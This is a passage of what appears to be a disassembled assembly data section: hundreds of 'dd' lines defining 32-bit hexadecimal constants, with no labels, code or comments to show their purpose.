1D8327B1h, 0C676C3AAh, 1AC639C2h, 9244369Ah, 0CDCEDC33h dd 0ADC3DF29h, 33F7861Ch, 0B4C30339h, 45E2F7B2h, 0AB81FD7Bh dd 7153AD9Ah, 3E0CEBAEh, 1E9BEEA5h, 0C4609CFBh, 27BC0AB8h dd 72FFD523h, 49755452h, 0BE8BB350h, 256A2C0Dh, 5C651975h dd 7FB3060Dh, 0F216B36Bh, 22A68FB7h, 0A46EDEABh, 4469B11Fh dd 2E042C33h, 0B8336CCDh, 0C4727DEEh, 4227433Dh, 0F4CC5B9Eh dd 0C89D3C4h, 7929F77Eh, 7850B79Dh, 50D0647Fh, 5C07447Ah dd 0ABE91FC2h, 9B1FA242h, 72680A4Eh, 0ECF181DDh, 6FE0633Bh dd 0D3266594h, 6012C3B8h, 0AC818D10h, 5B5DDE6Ch, 0C435A40Bh dd 726FF73Fh, 5BBA7548h, 2147BE87h, 185DAE2h, 0EF2C219h dd 0C5496D3h, 3F4970B5h, 7BB9E1E1h, 0A2DBFAF7h, 0C43096E5h dd 70B5B581h, 814BA260h, 4CED5229h, 8DB21EC8h, 0A30134C4h dd 5D275D2Ah, 0CDC1DB3Ah, 56737A41h, 1CDAADDAh, 0E28D1F36h dd 2BE954D5h, 7570C8B4h, 44081851h, 0E173886Bh, 0EF19091h dd 0F89588E5h, 0DBA51F90h, 6C6758DEh, 0BB65874Dh, 0A2FF65B8h dd 74C0F782h, 0E8EC0162h, 0A7C43310h, 723CE898h, 2F2726ECh dd 15448271h, 9F947D6h, 677D356Ah, 0F32FF44Ah, 8A0D14EBh dd 0AFFC2EE8h, 84C0577h, 2EA102D1h, 5D000978h, 8AEB2838h dd 168C83AEh, 0E8DD3342h, 0A0568D3Dh, 0B267919Dh, 60BA135Fh dd 0A1420914h, 0FC13BDCh, 16EDA60Bh, 0FFF2264Eh, 308CEFA6h dd 4EAFFF3Eh, 67BE61AAh, 2D6621BFh, 0D4A4465Eh, 0C8221E5h dd 9768C122h, 259359Eh, 4C02FC39h, 18B05BFCh, 4525F490h dd 469C5FF7h, 98A0F087h, 9C1D3108h, 28C063C3h, 7D7CAE9Bh dd 1C5F2E35h, 10E20F4Bh, 83557AD1h, 32EF1282h, 0D3070406h dd 6DA7D2E7h, 0DE25239Fh, 0E324A4EDh, 0F6DC1ECh, 688D03A3h dd 0F6AB87B6h, 0E485AF59h dd 0C84D7DB9h, 41C7BAE3h, 0A10B6180h, 9A9CE0Fh, 5438EDD3h dd 7D0BFA2h, 95F73283h, 6CB12B8Eh, 0FFF94FF4h, 31F74929h dd 0E683EB9Ch, 0AC3AB477h, 284165D3h, 6A7673C9h, 7318795Fh dd 0F129FAA0h, 1ED902FDh, 0CAA06002h, 9F0C9C7Ch, 0CF0D497Ch dd 24F953FAh, 73EEF9B2h, 0EA1AD8D9h, 1761A650h, 7A7715A9h dd 7DCFD239h, 0A464BB4h, 793413E4h, 26273F5Dh, 0F406F09Ch dd 0DE548C10h, 0EAE872E7h, 0A4802696h, 187AA119h, 88C06C46h dd 0ED91026Eh, 813F1302h, 63D46D4Eh, 0F1994182h, 1C981A1Ah dd 0E94AA7C7h, 22BA2834h, 2327B417h, 0FA6CF6Ah, 0B3C83094h dd 237AC5C7h, 573EED3Bh, 0C88D01DEh, 5BCF485Fh, 4D84041Fh dd 2F970E8Ch, 613253B9h, 2EC0BFB3h, 0C9AA3380h, 6B936114h dd 1E3DF2EBh, 6E7A32E2h, 5E36A23Fh, 0D06F852h, 0F36116EEh dd 920BA882h, 24F5FA18h, 0E641695Eh, 2249DEBAh, 0B0093DA5h dd 0E98C8A65h, 0BBB4B105h, 0E18DF3D0h, 0EA8B45E8h, 1BCF3982h dd 4A778A47h, 0EE2B062Eh, 57B89CB7h, 935B78FEh, 1423C4A3h dd 240C5679h, 61BADEF4h, 866F537Bh, 2E00F8D5h, 3E0975C5h dd 753575B7h, 3E93C7B9h, 0BDAA7D06h, 1FA14DEh, 4660C160h dd 0CE602340h, 4B18A761h, 4D68164Bh, 603ABC64h, 8DF8D965h dd 0F9BFA882h, 4E5966C3h, 6749A65Dh, 44413123h, 3425D882h dd 0DF49E51Bh, 0FF9011DBh, 0D84B0D8Bh, 0ED88EBA5h, 4BEE562Eh dd 3323A469h, 4CA2CE7Dh, 93803BFBh, 0B5B11E08h, 2B4F8A0Ch dd 9DF48E64h, 693D3261h, 0A6B5ECE6h, 0FF6EE82Fh, 64711772h dd 22BC7B0Dh, 2BE57927h, 756543BDh, 332C52B5h, 6B4EB03Ch dd 0E552E4C7h, 6D8DD980h, 132CDE69h, 39DD1038h, 0C8295620h dd 0C5BDE77Ah, 4A2F42FEh, 0F313D0B7h, 0DED5A392h, 43DF4700h dd 0A61E3591h, 75399D9Ch, 6D82CA01h, 74A77C1Fh, 21060AD7h dd 0AEF2F9B6h, 7FE5603Fh, 0BDE1272h, 633AE88Fh, 0A17EA47Ah dd 0C59FCD29h, 99C98B06h, 92411713h, 0A7724EDEh, 0D8B62460h dd 0CE5A7B81h, 0C3C857D6h, 77CD5D3Bh, 0C8DEEFBCh, 0CA0D540Dh dd 70706A6Ah, 1A723783h, 1BFC4D0h, 9CC29507h, 2431178Dh dd 0D9B9AD1Fh, 294F6AAh, 55B3F297h, 0A3A954E3h, 73918AD6h dd 444A8254h, 0A88ACB40h, 6BFFD1F8h, 58B41407h, 0AA63D145h dd 0A254F1DEh, 9E9BD7B3h, 2F5A64CFh, 0DF6F6831h, 87044CAEh dd 34948C6Ch, 2DA90381h, 43C9968Dh, 57135B5Ah, 0BF1CF23Dh dd 73C17593h, 4509CABCh, 7B1C0BFDh, 8A01A6F6h, 26F0BE3Bh dd 492E3F55h, 69C68B1Ah, 0BF9DCFDCh, 0E6F82C2Fh, 0A413402h dd 3745EBDDh, 6578DE6Dh, 0EF11394Bh, 0FA978D86h, 1BFB99D9h dd 0DA8F426Fh, 0BB02A90Ah, 87E5AEBFh, 92707A61h, 0AE5F927Ch dd 0D6EBE9F3h, 0B9E57FD9h, 0BF3624Ch, 0C38E2F31h, 4756D08Bh dd 4F114AAAh, 2B79BEDFh, 0E99EECD8h, 0BE8F55C0h, 3499520Ch dd 68ECAA8Ah, 0BBD7E064h, 7D128609h, 0E58C6726h, 6DAA5C21h dd 5715ECA3h, 9553A21h, 1EA59B62h, 0D8066D9h, 0C596F85Fh dd 1D7F4F71h, 3A84A912h, 0A6448D46h, 3B7D4040h, 229581BAh dd 79E03C5h, 0CFAD04BEh, 7F24AEF5h, 3AF58CF1h, 702A0632h dd 88123DE4h, 0EFB23E0Eh, 28D945FCh, 0A7446916h, 0EECA9D05h dd 699BBD87h, 0D26A2A21h, 0B20032FAh, 6CD23181h, 0B7A6150Fh dd 0AB74D296h, 0C75A4F26h, 0ADE2E84Ah, 9CBEDC46h, 0A4495A68h dd 0ACEE901Bh, 8972E332h, 0FE56042Eh, 76002118h, 9DC1756Eh dd 90812AA1h, 8D7C3157h, 95981B0Ah, 42EFE4E8h, 19DBF96Ch dd 2303F0DDh, 1673BF9Bh, 8F280D92h, 0AE821894h, 44102635h dd 0F34160FEh, 0ECB4DDD5h, 0D40EA87Fh, 2C38A590h, 6108A0BEh dd 0EC8A525Ch, 945FD2CEh, 0B642D06h, 10400607h, 0F42516B7h dd 98F3AC5Bh, 0F19A8017h, 0C9FEBE88h, 5AE4368h, 58BBFE0h dd 9D2D4EF6h, 1765771Fh, 8DD107A3h, 960B5A56h, 0A676F58Ah dd 2F8941E6h, 1351D83Eh, 0ACC7B21Ah, 0ED96BC7Fh, 4970A4E8h dd 8B43B26h, 27DBC41Bh, 0B1E2FF63h, 0D1FF953Ch, 0BDB5501Ch dd 0B23E547Eh, 95E983A3h, 41E1A4FFh, 4A016062h, 0E253C36h dd 0B235E10Dh, 348F7BB8h, 7961E42Ah, 5F7D975Bh, 0DA4C5C4Fh dd 591FB7CFh, 5718AAFAh, 6BEDC6EBh, 61697102h, 8ADE02CAh dd 49F65CD9h, 0DB7E6793h, 0B60DFBE9h, 0F3312FC0h, 3F47E217h dd 8E6CD8D5h, 5F89C60Bh, 951A2EEAh, 0D828AD7Ah, 0F2D4300Bh dd 96A73EDEh, 981759E5h, 3F4F272Ch, 45086D46h, 0B9D81C50h dd 0DF8F18BFh, 386FD4FCh, 0BA528700h, 7917A0DBh, 0D357A7E0h dd 0C911ACE3h, 19359E2Dh, 304422E7h, 58AC42A3h, 0B34EBA41h dd 9AC3F61Dh, 686D2F10h, 0CE4D4121h, 2441E4A0h, 722133F0h dd 0AE317728h, 0B3049309h, 0F833B79Fh, 0F7702463h, 748C085Ah dd 0C6614328h, 4D0136DEh, 3EAA8A35h, 9DFE0B96h, 7E5A80BFh dd 45097FFBh, 44C91FA3h, 9F552625h, 0FD871E87h, 0A75BE979h dd 791CE008h, 0BA09560Dh, 0A31B4182h, 8911138Bh, 108A8921h dd 4B527B8Ah, 0A8B79C53h, 0A7F2526Ah, 4D1257B0h, 49D29043h dd 89C440A3h, 140C6801h, 4516A814h, 95DEC7FAh, 25484ACAh dd 5A1D189Bh, 887224F8h, 0FA554BC2h, 0F3412538h, 78F67442h dd 0BF79D9FCh, 0EDD8BAC6h, 0CD54A3C4h, 0D08C7BAEh, 7419F4Bh dd 0F672FD2Dh, 2DB7803h, 0E5B71159h, 0ADE8C985h, 0A7C17757h dd 86FA6AA6h, 0ED762D7Ch, 0FA4E0A5Eh, 0EE64B40Fh, 0EF7D0F9Ch dd 26B73850h, 0CFF6A47Fh, 0B7B56FFEh, 273EF8EDh, 1056B422h dd 0B8A3981Bh, 6E7D5189h, 0A04010F2h, 50362A32h, 40667974h dd 658DA56Bh, 0E3B2B691h, 0F74F1B09h, 996974BBh, 4E7B3B12h dd 3C15B2B6h, 503E6A56h, 0A8A6EA74h, 0C20BA623h, 0C7872E82h dd 0AED3B7D4h, 2F414805h, 82D1F576h, 3AF8B0D4h, 1584682Dh dd 2135B3F9h, 821AF33Dh, 92EDBD87h, 2B590431h, 7AF802B6h dd 6A409531h, 5333807Ah, 985ED3C2h, 7BBFCDFFh, 0F359892Fh dd 106367DAh, 296BE40Eh, 0C3D5B87Fh, 9C8C5F29h, 0CF996CDAh dd 0CF4A31FEh, 2D591DAh, 4E20C569h, 6E2EC213h, 0CC131DF0h dd 8C51EB4Bh, 0A4D1ECA1h, 0BFE4FD01h, 0A94030A7h, 35632293h dd 0E0812BEEh, 9BC320DEh, 3A4230E0h, 0E8F424F8h, 9983DB94h dd 0A7B2C8C7h, 9469707Ch, 0B6D4A8FBh, 0D767B758h, 0DD550F76h dd 0E34EF3CBh, 0C3AD54B3h, 0AFEE6F60h, 30466BD8h, 0DFD414C1h dd 43344F9h, 0FBBC0A3Fh, 590C9996h, 0B22F6101h, 8CC91CD7h dd 30C0B167h, 9D9EA9EBh, 0C5BFCF42h, 1AD0FBE7h, 0DF053014h dd 0E5090333h, 95B88A07h, 2257A037h, 4A2D0E52h, 0E6C4314Ch dd 4800CBBDh, 9BB55A9Ah, 0D80F5A9Bh, 0FC3C745Ch, 0EA6B5C24h dd 0FB284826h, 15B137E7h, 7A40A2D3h, 36801186h, 0C5BDC56h dd 38463EE6h, 0B2D23202h, 347EE914h, 290D7F81h, 9B0F18CFh dd 666302ECh, 1B4AE6D0h, 0DA5C0C73h, 0E7CEB352h, 0AD70583Dh dd 0C02B51DEh, 0BA4BCA37h, 0F9F41039h, 96A36181h, 0BB15980Bh dd 1769C60Dh, 394751h, 91A1B7CEh, 0EB92112Ah, 646FE0F7h dd 0B2DD318h, 0D1687503h, 2887A4C4h, 8B7F5FE4h, 5277CB68h dd 2F3B4D49h, 292E8877h, 52D338C0h, 0EEF46D3Ah, 237F8F9Dh dd 2A4B0ED3h, 0C4BF845Fh, 0FA742B75h, 7C258E3Dh, 89889226h dd 0EF133AADh, 19E8B417h, 65E835C8h, 7F8A4D7h, 0A3371201h dd 0DEC13A3Fh, 0D2DF1309h, 0E935CD1Dh, 7CF3CBE7h, 6F98FE9Ch dd 5530F75Eh, 7CC423BFh dd 3DFC1848h, 9CA19E52h, 83AE2B70h, 6D480032h, 0CE11BB33h dd 8452592Ah, 5790D675h, 506A1AD1h, 0D2F4A7ACh, 893044FEh dd 1651244Dh, 7FCE1304h, 6D8C527Eh, 100AF55Dh, 8185C419h dd 0DBA152BBh, 491F5369h, 0B3ADFE20h, 0E5034DFBh, 488E7799h dd 0E44D1ACEh, 608A8F01h, 0ED217351h, 4AA5E79Ah, 0A07DE324h dd 0FBCEED18h, 0A7EE7639h, 9D72A65h, 8FB5972h, 6A75C42Dh dd 3624C4A6h, 85710E21h, 35FB8B4h, 777D8A33h, 0C771EE5Fh dd 475F8592h, 525CF5BDh, 0BE29595Ch, 87264A17h, 5E7E8EC7h dd 0F1B74D7h, 7D4268E7h, 4ED7347Dh, 9C085514h, 0DE7BA00Dh dd 497DD5E1h, 28B80092h, 0ADCCF629h, 0AA52DF25h, 0FCDE971Bh dd 5B9F74CBh, 12659FDDh, 1DFF2AAh, 949466D4h, 264D7451h dd 97018A23h, 9ECE15EEh, 16CB63B0h, 14B92E4Ah, 8DEE72AFh dd 371C6F7Bh, 1762CF21h, 0C2A2D0BEh, 8E1EC693h, 3E99EC82h dd 38C23BE9h, 0FADA08Eh, 0FA158BD6h, 995A591h, 52FA3373h dd 0C75876C1h, 90F77089h, 941B4682h, 0F186EDAAh, 41E5B18Dh dd 26296C9Eh, 81AEDA3Fh, 0D462FF52h, 0F99D57CDh, 35A8F901h dd 0E8C8F919h, 911C802h, 0CADD9BE0h, 96E02640h, 1561F0B4h dd 0B59E4585h, 0E742C79Ah, 3CB79E8Fh, 4A18BC8Ah, 5C1F4A12h dd 295B0D68h, 2DF5741Fh, 98972A10h, 34A6BD8Fh, 6FA4D330h dd 1E10BA1Eh, 0FE80B34Bh, 0FDF00A50h, 8CC5DE62h, 0B83F2D71h dd 407C8E5Bh, 2C4C9B72h, 0E129BE36h, 0FA52AAB3h, 0B2D981FBh dd 83744090h, 41F93FD5h, 6DF464C1h, 0EABF0803h, 90838B96h dd 7584E3C1h, 0D2840D12h, 71BBEB50h, 8FA6DF62h, 0F96C2FF6h dd 6DA14420h, 9B1E850h, 0F9D256A3h, 0A1979CC3h, 0BE35404Bh dd 4993542Dh, 7A4F2FB1h, 24A79C1Eh, 0ECDACC4Fh, 4B532E84h dd 0AEB65308h, 3585CAD3h, 1738A09Eh, 0B8427B1Ch, 3289738Dh dd 1472825Ah, 0FC1B3759h, 2853A828h, 95C642D6h, 184B3BEBh dd 882AD93Ch, 3358E590h, 17F38DDAh, 2BCF20D0h, 8FED2F1Ch dd 0F08C0899h, 0C190E96Bh, 0D850FBD5h, 0FC20D677h, 6860D6D7h dd 3FD21965h, 71EE8C2h, 0FBFE336Ah, 0EE27D3EDh, 72E72EB0h dd 0BC19FC77h, 45D43A11h, 0D0CE8A3Ah, 0A680D2F3h, 0D76985A7h dd 0C35F08E9h, 42837348h, 9F26679Eh, 0BF5D59A5h, 0FE9B3EA2h dd 0E3D8B0DEh, 358F13DDh, 0DFADAEE7h, 0D98F9108h, 0FD866C88h dd 0A5EDCFB9h, 61A378BDh, 0E5AACAFCh, 0E5E886B2h, 6F82F801h dd 0C3DDF54Fh, 6F70183h, 7961B962h, 0EAC27AD3h, 993310A1h dd 0FBA3330Bh, 22E74224h, 9A0152BCh, 0B8C25426h, 0B2AFD031h dd 3B1C7407h, 95E97ACAh, 545E2BABh, 557B4EBAh, 77292161h dd 9F315BB5h, 0F2755C9Dh, 2AD20D37h, 267CFD76h, 61AE83Ch dd 0E4668644h, 7EB0D8D1h, 0C9FD9E05h, 866778FFh, 711A2707h dd 0CE47D247h, 0D4A6AACh, 2178BF8Eh, 0DB028A9Fh, 2ECA7002h dd 0A9712D96h, 8FD6DFE8h, 0E6D27459h, 495C89FCh, 9ECE23F9h dd 0DDA4A01Dh, 53EEA836h, 1EABFFB2h, 0DBC9D6B6h, 99DF407Eh dd 0BDABDA8Bh, 52F8031h, 3C9C7B49h, 7C3B707Fh, 0CCDFE25Ch dd 0FD027E9Fh, 8995763Bh, 0DFA5B734h, 0D1A4AAF7h, 750446A8h dd 636A83B5h, 0A1669D4Ch, 6EDC2311h, 41F2EC97h, 0B7A0F568h dd 0E1D6E69Bh, 0A5E98BFDh, 3C817964h, 0EEAD0525h, 73B9C130h dd 0F4BBC69Ah, 84CECDD4h, 0CE3DDB4Fh, 0B32BFEBEh, 6443D0B3h dd 8C933DA6h, 0F36980A5h, 9FFFDA7Ch, 0D16AFFD8h, 0DF6986FCh dd 4AE9A884h, 31F4EDAAh, 301756EFh, 3454D166h, 0B798F2ACh dd 80E40AFCh, 0B3A72C7Ch, 3DEFE9DBh, 0F03898E2h, 6F9BFB7Dh dd 0FBF40E85h, 0A7327076h, 26E24609h, 103DACF9h, 9C2D6D8Bh dd 0CBE2DCCh, 0CA138CCh, 0AE5247F5h, 0B8A6F9B9h, 7C0FCA14h dd 1E09F039h, 0EFBEEE1h, 0DF6FB16Ch, 0A0217421h, 8FAA38E8h dd 95B45E36h, 13C1A828h, 0D1A41651h, 0B5FA49A6h, 17B0C6F9h dd 1C4D1516h, 46225A33h, 0D84E25Eh, 0C49E6768h, 55FA2734h dd 88228CA3h, 693A6117h, 0FB3F7E2Eh, 0F2642742h, 59E1DBF4h dd 0B8A4B019h, 0BC574D0Fh, 0C2525169h, 8A64790Ch, 1B453977h dd 1F6A6313h, 77F511B7h, 21EAB612h, 45B6C3D2h, 540AFF85h dd 96AE850Ch, 0FAE6BF93h, 0FCB0D3B5h, 0AF43DF3Fh, 0CC584D3Dh dd 0B530E540h, 8DB8F390h, 15A689C6h, 152BCDE6h, 0CC9B7EF7h dd 3805B47Eh, 22CDB37h, 1BA0BA29h, 4764901h, 0C22BABECh dd 14E76B11h, 67417E8Fh, 73A9D5BEh, 7CA237B8h, 0BEC795EDh dd 667AD571h, 670B0B21h, 0FA255AFAh, 0F1D09531h, 10B452ADh dd 1C36DC16h, 0B7C717D8h, 2AA16B8Ah, 0A005E3B4h, 0B712A9AFh dd 5CF713Fh, 0BBDED52Ah, 781245BBh, 0C8838036h, 31405C06h dd 46E94DD3h, 0DFEA5F2Ah, 0F73125B2h, 0BCCCAA36h, 779948BEh dd 6D3BBBA8h, 459723BEh, 0E6F54C10h, 0D041981Dh, 33DF3B1Bh dd 80E51B1Ah, 0B9C1FFB8h, 0F2D1E6D2h, 6A558B4Ch, 0DA718D54h dd 1903F86Fh, 0FD798698h, 1F2F21F3h, 9592D1FCh, 842B8913h dd 222BDF85h, 0C0E40C41h, 0ED63FD97h, 616011F3h, 5F5FD2FEh dd 0D6256F2Fh, 814EECFDh, 1C3507BFh, 5D2F636Fh, 3B972391h dd 0BE83D600h, 0AEA982D1h, 747B4976h, 4FCEB15h, 8E2FD2DEh dd 3AF9CB3Dh, 83887E37h, 34FFEDF9h, 554C4E1Ch, 88C90294h dd 0B5720153h, 5B4193CCh, 67CAEF25h, 1AB6D80Bh, 1C74A20Ch dd 0AA8717C4h, 0CE3F755Fh, 0D17F7A9h, 0D21DDAC6h, 10416A09h dd 6D99052Bh, 0DFF53161h, 7312D2CCh, 0D70A842Ah, 1200A4C6h dd 32686CAh, 0DA2D5A2h, 0E784185Ch, 22FE223Bh, 0D443D9ECh dd 7DFF1564h, 768E9382h, 1C51D7CBh, 18E01FBDh, 35B14392h dd 5C85E675h, 0D334B623h, 29E76F49h, 9E20D0E0h, 8836FF65h dd 53D35680h, 5612D4D9h, 0E4C4BC89h, 606695C2h, 5343370Fh dd 5E9B346Dh, 7C80C045h, 0A32B9969h, 0C2C5FB76h, 432FAFABh dd 7C0B64h, 3C05B9FFh, 2BAED153h, 0C59588B9h, 19FED9EFh dd 0CB392193h, 0BF0A6FFDh, 6D295B0Bh, 0D9696F66h, 0EB2434AAh dd 406E83EBh, 6D131BFBh, 0BD7C6DE5h, 25B3225Ah, 7E3CD2EBh dd 0B55E3DDFh, 0AF27CA16h, 71B62B03h, 0E8B33EBFh, 0AB3B23B9h dd 0B186148h, 0AACFCCB7h, 1CD0D3B1h, 2FF3EB44h, 33879323h dd 58011CF5h, 0D87BC4F7h, 66F6D94Ch, 3D3F0BD6h, 5103C627h dd 5DA31C48h, 842DFD7Eh, 78A78707h, 61762ABh, 81484DF8h dd 0D6F4C7C0h, 0FA94611Bh, 763EC4BFh, 3A2AD78Dh, 0D52D7A23h dd 204BD4DFh, 0BA734684h, 5F8E9683h, 4444D197h, 87AAD60Ch dd 9CE06BBEh, 0B896CD8Eh, 777CB578h, 1E1DC812h, 0CCD699EBh dd 0B46357F9h, 0DC2A6E1Fh, 2E4EE267h, 7647C0C6h, 42F0F542h dd 8E88296Ch, 9E406E4Fh, 817172B1h, 0ED59EA0h, 0B2182CB8h dd 98583263h, 0B2149F54h, 0C4370711h, 9929403Dh, 76A88A91h dd 9803F4C9h, 98467A1Fh, 529D9EB9h, 0DEF5EE85h, 0FF11D8F2h dd 7C4D7923h, 6A58A30Eh, 4669CB6Bh, 31F1C0DDh, 0C7900B8Ch dd 0A18E5542h, 465C1Bh, 0E159CA76h, 7F7B06D7h, 0CF8B049Eh dd 0FDED9034h, 0B7FADE4Ch, 0CE791516h, 8C862D54h, 660D48F5h dd 0D2DD3B75h, 0B5348964h, 7B5A842Bh, 3A58A5B8h, 679D8BA7h dd 57CC81F9h, 0E391E4E6h, 4BA29965h, 69F2BECAh, 204EB8DCh dd 5830E594h, 56CA36F4h, 0B2FFC309h, 0D3714C35h, 4FAB78E5h dd 84500938h, 0CC84A88h, 2C5B0F10h, 0A6992B62h, 0B7B16DEAh dd 0CBF68820h, 875461B0h dd 0E5EF4E0Fh, 0C4E2CD93h, 47C5E345h, 92DA6753h, 0A0945A24h dd 4E899497h, 389C0E84h, 0C64F6218h, 0BEBCEA3Dh, 0ED439C53h dd 327453D7h, 65AB1BFEh, 0C828187Eh, 11BE78AAh, 381FFAB4h dd 4CB0F03Dh, 0E1A7D1EFh, 0D5F344A1h, 11B10588h, 6F07200Ah dd 0CEF7E182h, 7F3C4291h, 77859FEBh, 0F05C7475h, 0C04042A1h dd 765C1C82h, 0F004E077h, 7353CE6Dh, 47D23824h, 6803DADAh dd 4BCAECD8h, 0F1803855h, 9C02807Ch, 6DAD82CCh, 40A445B4h dd 0B9C4914Ch, 0F8A5EF6Ch, 0FDF35409h, 0EA9B0D7Dh, 795CA1F3h dd 0AB876D63h, 7A145AB0h, 7A6FDD57h, 13844177h, 5C068F2Ah dd 423B1243h, 7D1A738Bh, 0F81BE518h, 38E8D29Dh, 3326588Dh dd 6908E88Ch, 0C667A44Ah, 42030D67h, 12DC9F3Bh, 0EDE7735Fh dd 57F75641h, 93AFFEB8h, 0F9C6525Eh, 0C3B72212h, 0CA552B2Fh dd 86D07E77h, 0A93BE02Dh, 57688162h, 8EE1595Ah, 7A71473Ah dd 0B1C33110h, 4D5C4BA8h, 7A1C535h, 477DAB94h, 471AEAD8h dd 49E19535h, 5259E9Fh, 12BA066Ah, 24DB03CFh, 4554EA1h dd 31AC7AE1h, 6C295289h, 0BCA21296h, 0CA0D8271h, 6F78EC58h dd 0B8B9EDFCh, 811D4A07h, 0B706F934h, 0F771604Bh, 62ACCB33h dd 0BB0E1636h, 0A65AF412h, 6B1E2EC3h, 1D80A428h, 0DAA2B35Eh dd 3AA9C9E4h, 3DD475F4h, 27849895h, 7D66F07Bh, 0CC58D2FDh dd 6847B743h, 0D8D34D7Fh, 77DAF14Fh, 8C44D3EEh, 0C77CB541h dd 1A81BD21h, 802C530Dh, 0BC5E2D4Ch, 8EB32A94h, 14F600CBh dd 496E4B0Bh, 0DAAF7D17h, 44054B6Ch, 37953051h, 0ECEA541Bh dd 1FCFB2F5h, 0C645A507h, 15273435h, 0E6792D92h, 4588B04Ch dd 0B1123A8Ch, 0DE4C8CBCh, 9CBF6180h, 0F7D84D6Fh, 2C585AA9h dd 7D8F0A1Fh, 1E958EBBh, 0FA087557h, 53ACFCE3h, 1E8350E6h dd 0C9927873h, 0F76CD2CFh, 0FCD66751h, 0C0B1A3C1h, 4D2D0DF2h dd 0BD8B0D15h, 0CD7D1E5Eh, 0D1058DE1h, 76A53C36h, 8AA905ADh dd 66A4BCAh, 481977ECh, 136BCBC6h, 0E408075Eh, 0ACC87083h dd 9F0104FAh, 7D488294h, 0BE4C69D6h, 0AAA74FDEh, 0FA42FFBFh dd 9F3C391Fh, 3341BB9Fh, 96F9D0A8h, 0AE111B52h, 3E8D4D0Dh dd 92A0D569h, 4320C6Bh, 0A0907E29h, 1AA200F6h, 52C2CDB3h dd 6D63A25Eh, 0FFFF73E5h, 8AB23A1h, 3FC8281Fh, 0FD827F8Ah dd 3AB33D2Bh, 0AFEAC9Fh, 29861C08h, 0D9055286h, 5AFC2E9Ah dd 7F0FEBEh, 0A7AC271Ch, 92E1C6EFh, 96BD2620h, 0D1D0EB0h dd 0D21A934Ch, 39F176Ch, 0D008E851h, 7EAA45E8h, 204BA16Eh dd 132F0BCDh, 0ECF0B9EBh, 8326F745h, 1DF7CFAEh, 0F810FF3Fh dd 587DDD4Fh, 0E37C4092h, 0A74740A9h, 0F31892DDh, 1561E0EEh dd 1EDBF84Ah, 57E0B62Dh, 32D7D9CBh, 0B5A7553Ah, 655E25E4h dd 4E2A71FDh, 3D7EDA2Ch, 5BF34213h, 0FB480076h, 0FDCE6BFDh dd 91659B79h, 2D548DB1h, 0BA68BFA9h, 0EF2D1B2Eh, 47CC2088h dd 763AA8AEh, 4810DF90h, 0C1C32EF0h, 0E36A7A84h, 979E3DA3h dd 0D144F2A5h, 0FE6C611Dh, 23134ECh, 0C3629A65h, 0D8A34892h dd 0CDA6D4CEh, 6DBE7BCh, 663BA915h, 1D5A84A5h, 0ED6A6126h dd 0A931B78Eh, 3155DD9Fh, 0C51F154Dh, 31FB3DB7h, 3431FFD4h dd 1F9BF50Eh, 3DBB5BF6h, 9BD5E46Bh, 41B2A715h, 0F154BA4Fh dd 0DE4514A0h, 77271F06h, 0C6D5D132h, 0C48DDBE5h, 0E3903446h dd 1DAF0EC5h, 6A3EF505h, 87EACAB8h, 272ADBA8h, 137CAB4h dd 3783B3BFh, 89273697h, 381D9363h, 17047438h, 0BB894B12h dd 0F0492A72h, 0FF3E2CD6h, 0AF62A0D9h, 5E530C52h, 7A3DCB5Fh dd 85D9489Eh, 0CB64AAFFh, 1A69A4B8h, 86A1DC0Ah, 0F4834ED3h dd 0FF1116E8h, 0BD2FDB0Eh, 5C6E618Bh, 83D899A0h, 10657B26h dd 9B03A8E7h, 7A2036C7h, 782CFA6Ah, 50AA51F9h, 11EE6DBDh dd 208D4DD6h, 2AAD25B2h, 8377316Fh, 0F613CF52h, 0B5911F2Ch dd 196919BFh, 0AA68FFEEh, 19E9DDD6h, 733F499Eh, 21A150A5h dd 8CF12AFFh, 55FF9EF2h, 75F80BD1h, 0D5E7AA85h, 0D593A49Ah dd 4B5A42D5h, 203965D4h, 387ADF3Fh, 76D006F5h, 0CC6F6CEBh dd 4204EDFh, 224BD3D2h, 1CD31E44h, 58EDFB48h, 43AAD557h dd 2364B9FAh, 2C2A69Ch, 773BCDA8h, 0ADE14CEAh, 703E95DFh dd 9360DF7Ah, 4EEE15F2h, 0A3450608h, 2E2EC7D9h, 5C26F7C2h dd 600C54FCh, 10F694ADh, 0C8FA56F6h, 1CCD011Fh, 0A5616979h dd 1FBFAA6Dh, 0B70A9C18h, 0E9F22F28h, 60F86127h, 49FB59A4h dd 0A440BD89h, 82897344h, 0FB9543C5h, 6A8FCCD7h, 1E813740h dd 238E2F76h, 582F0BBBh, 0E154DA9Dh, 0C8786A93h, 46E5A0ADh dd 7B34E8FDh, 40F88103h, 0ABE85A56h, 79A0DC73h, 67347D9Eh dd 5929499Ch, 0D97E8F28h, 163A50FFh, 0B98C8346h, 2204AB0Eh dd 0BB5CA8CDh, 51AD6FB6h, 22AFC202h, 291C5819h, 7C768F60h dd 4C3DAF3Fh, 91528A05h, 62F4897Eh, 2799E89Bh, 97098C8Eh dd 59B46681h, 5EF607BDh, 0D896804h, 0DF84A376h, 0DEEE3EC0h dd 0ED80C090h, 42E83DC8h, 0DD4D0D15h, 49F072E9h, 4566084Bh dd 0E2CD0495h, 9BB41439h, 0F27520D2h, 230CB235h, 2E6B0446h dd 6F89147Eh, 0C657D014h, 0BA104E6h, 8C431EE8h, 0C69D7E34h dd 9695473Ah, 8EB08F6Bh, 99C85325h, 6F46CE98h, 0D378C831h dd 94B96A81h, 6C0ADBEEh, 83E8E7BAh, 0EFBBC0AEh, 1ACAAE51h dd 12C01A70h, 0E381980Eh, 0DA6A2791h, 8CE0E111h, 0A6F50B59h dd 4EB903C0h, 0D45483DFh, 42847F92h, 1A578F3h, 0BAA3A2F4h dd 3E368AE8h, 0ED4EC656h, 3BB96817h, 3732C014h, 115A598h dd 9A3E8A5h, 0FFAAEC2Ah, 32AB265Ah, 0FB615897h, 66C4935h dd 8E91B5F2h, 9F0728EDh, 7B6CAA88h, 0D62D4129h, 49E974C7h dd 0F5B77788h, 6AB5CD0Ah, 0EAA8CD1Dh, 4A5780D0h, 6A6194E7h dd 83CC8191h, 3C83E0E1h, 73BE98E1h, 1E5BA9DCh, 36BA83C8h dd 0DEC45B52h, 0CE253DB7h, 0E74AB924h, 0B18517B3h, 0A6EFBF3Bh dd 0C0109D2Eh, 92B969A8h, 530C31E6h, 690F05B8h, 0B3AD850Ch dd 4D3D12B6h, 78FCE891h, 0FB819C6h, 0D6B79AD1h, 0B858A187h dd 4BFE20D0h, 0BB205855h, 24FC748Bh, 2BAD45h, 9F582A7Ah dd 5A1B5B03h, 0B2258344h, 110C553Fh, 0DC033E5Bh, 0A4305B21h dd 